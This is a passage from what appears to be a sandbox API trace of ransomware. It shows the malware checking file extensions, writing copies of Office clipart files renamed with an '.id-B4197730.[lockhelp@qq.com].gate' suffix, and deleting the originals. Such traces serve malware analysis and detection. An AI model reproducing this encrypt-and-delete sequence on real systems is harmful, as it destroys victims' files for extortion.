Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0305.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0305.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0305.793] lstrlenW (lpString=".doc") returned 4 [0305.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.793] lstrlenW (lpString=".docx") returned 5 [0305.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0305.793] lstrlenW (lpString=".pdf") returned 4 [0305.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.793] lstrlenW (lpString=".xls") returned 4 [0305.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.793] lstrlenW (lpString=".xlsx") returned 5 [0305.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0305.793] lstrlenW (lpString=".ppt") returned 4 [0305.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0305.793] lstrlenW (lpString=".zip") returned 4 [0305.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.793] lstrlenW (lpString=".rar") returned 4 [0305.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.794] lstrlenW (lpString=".bz2") returned 4 [0305.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.794] lstrlenW (lpString=".7z") returned 3 [0305.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0305.794] lstrlenW (lpString=".dbf") returned 4 [0305.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0305.794] lstrlenW (lpString=".1cd") returned 4 [0305.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0305.794] lstrlenW (lpString=".jpg") returned 4 [0305.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.794] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=696) returned 1 [0305.794] CloseHandle (hObject=0x564) returned 1 [0305.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220 [0305.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0305.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0305.795] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.795] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0305.796] GetLastError () returned 0x0 [0305.796] ReadFile (in: hFile=0x564, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x2b8, lpOverlapped=0x0) returned 1 [0305.796] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x2c0, lpOverlapped=0x0) returned 1 [0305.797] ReadFile (in: hFile=0x564, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.797] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.797] SetEndOfFile (hFile=0x4c4) returned 1 [0305.797] CloseHandle (hObject=0x4c4) returned 1 [0305.798] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.798] SetEndOfFile (hFile=0x564) returned 1 [0305.800] CloseHandle (hObject=0x564) returned 1 [0305.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0305.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0305.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0305.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0305.801] lstrlenW (lpString=".doc") returned 4 [0305.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.801] lstrlenW (lpString=".docx") returned 5 [0305.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0305.801] lstrlenW (lpString=".pdf") returned 4 [0305.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.801] lstrlenW (lpString=".xls") returned 4 [0305.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.801] lstrlenW (lpString=".xlsx") returned 5 [0305.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0305.801] lstrlenW (lpString=".ppt") returned 4 [0305.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0305.801] lstrlenW (lpString=".zip") returned 4 [0305.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.802] lstrlenW (lpString=".rar") returned 4 [0305.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.802] lstrlenW (lpString=".bz2") returned 4 [0305.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.802] lstrlenW (lpString=".7z") returned 3 [0305.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0305.802] lstrlenW (lpString=".dbf") returned 4 [0305.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0305.802] lstrlenW (lpString=".1cd") returned 4 [0305.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0305.802] lstrlenW (lpString=".jpg") returned 4 [0305.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.802] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1928) returned 1 [0305.802] CloseHandle (hObject=0x564) returned 1 [0305.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220 [0305.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0305.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0305.803] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.803] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0305.804] GetLastError () returned 0x0 [0305.804] ReadFile (in: hFile=0x564, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x788, lpOverlapped=0x0) returned 1 [0305.848] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x790, lpOverlapped=0x0) returned 1 [0305.849] ReadFile (in: hFile=0x564, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.849] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.849] SetEndOfFile (hFile=0x4c4) returned 1 [0305.849] CloseHandle (hObject=0x4c4) returned 1 [0305.850] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.850] SetEndOfFile (hFile=0x564) returned 1 [0306.149] CloseHandle (hObject=0x564) returned 1 [0306.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0306.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0306.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0306.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0306.819] lstrlenW (lpString=".doc") returned 4 [0306.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.819] lstrlenW (lpString=".docx") returned 5 [0306.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0306.819] lstrlenW (lpString=".pdf") returned 4 [0306.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.820] lstrlenW (lpString=".xls") returned 4 [0306.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.820] lstrlenW (lpString=".xlsx") returned 5 [0306.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0306.820] lstrlenW (lpString=".ppt") returned 4 [0306.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0306.820] lstrlenW (lpString=".zip") returned 4 [0306.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.820] lstrlenW (lpString=".rar") returned 4 [0306.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.820] lstrlenW (lpString=".bz2") returned 4 [0306.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.820] lstrlenW (lpString=".7z") returned 3 [0306.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0306.820] lstrlenW (lpString=".dbf") returned 4 [0306.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0306.820] lstrlenW (lpString=".1cd") returned 4 [0306.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0306.820] lstrlenW (lpString=".jpg") returned 4 [0306.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.826] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1220) returned 1 [0306.826] CloseHandle (hObject=0x414) returned 1 [0306.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0306.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0306.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0306.826] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.826] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0306.827] GetLastError () returned 0x0 [0306.827] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x4c4, lpOverlapped=0x0) returned 1 [0306.939] WriteFile (in: hFile=0x4b8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x4d0, lpOverlapped=0x0) returned 1 [0306.940] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.940] WriteFile (in: hFile=0x4b8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0306.940] SetEndOfFile (hFile=0x4b8) returned 1 [0306.942] CloseHandle (hObject=0x4b8) returned 1 [0306.942] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.942] SetEndOfFile (hFile=0x414) returned 1 [0306.950] CloseHandle (hObject=0x414) returned 1 [0306.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0306.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0306.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0306.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0306.996] lstrlenW (lpString=".doc") returned 4 [0306.996] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0306.996] lstrlenW (lpString=".docx") returned 5 [0306.996] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0306.996] lstrlenW (lpString=".pdf") returned 4 [0306.996] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0306.996] lstrlenW (lpString=".xls") returned 4 [0306.996] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0306.996] lstrlenW (lpString=".xlsx") returned 5 [0306.996] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0306.996] lstrlenW (lpString=".ppt") returned 4 [0306.996] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0306.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0306.996] lstrlenW (lpString=".zip") returned 4 [0306.996] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0306.996] lstrlenW (lpString=".rar") returned 4 [0306.996] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0306.996] lstrlenW (lpString=".bz2") returned 4 [0306.996] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0306.996] lstrlenW (lpString=".7z") returned 3 [0306.996] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0306.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0306.996] lstrlenW (lpString=".dbf") returned 4 [0306.996] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0306.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0306.997] lstrlenW (lpString=".1cd") returned 4 [0306.997] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0306.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0306.997] lstrlenW (lpString=".jpg") returned 4 [0306.997] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0306.997] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=9596) returned 1 [0306.997] CloseHandle (hObject=0x4f0) returned 1 [0306.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0306.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0306.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0306.998] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.998] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0306.999] GetLastError () returned 0x0 [0306.999] ReadFile (in: hFile=0x4f0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x257c, lpOverlapped=0x0) returned 1 [0307.108] WriteFile (in: hFile=0x4f8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x2580, lpOverlapped=0x0) returned 1 [0307.109] ReadFile (in: hFile=0x4f0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.109] WriteFile (in: hFile=0x4f8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0307.109] SetEndOfFile (hFile=0x4f8) returned 1 [0307.109] CloseHandle (hObject=0x4f8) returned 1 [0307.109] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.109] SetEndOfFile (hFile=0x4f0) returned 1 [0307.112] CloseHandle (hObject=0x4f0) returned 1 [0307.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0307.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0307.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0307.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0307.114] lstrlenW (lpString=".doc") returned 4 [0307.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.114] lstrlenW (lpString=".docx") returned 5 [0307.114] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.114] lstrlenW (lpString=".pdf") returned 4 [0307.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.114] lstrlenW (lpString=".xls") returned 4 [0307.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.114] lstrlenW (lpString=".xlsx") returned 5 [0307.114] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.114] lstrlenW (lpString=".ppt") returned 4 [0307.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0307.114] lstrlenW (lpString=".zip") returned 4 [0307.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.114] lstrlenW (lpString=".rar") returned 4 [0307.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.114] lstrlenW (lpString=".bz2") returned 4 [0307.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.114] lstrlenW (lpString=".7z") returned 3 [0307.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0307.119] lstrlenW (lpString=".dbf") returned 4 [0307.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0307.119] lstrlenW (lpString=".1cd") returned 4 [0307.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0307.119] lstrlenW (lpString=".jpg") returned 4 [0307.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.334] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=33434) returned 1 [0307.335] CloseHandle (hObject=0x4f4) returned 1 [0307.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0307.429] 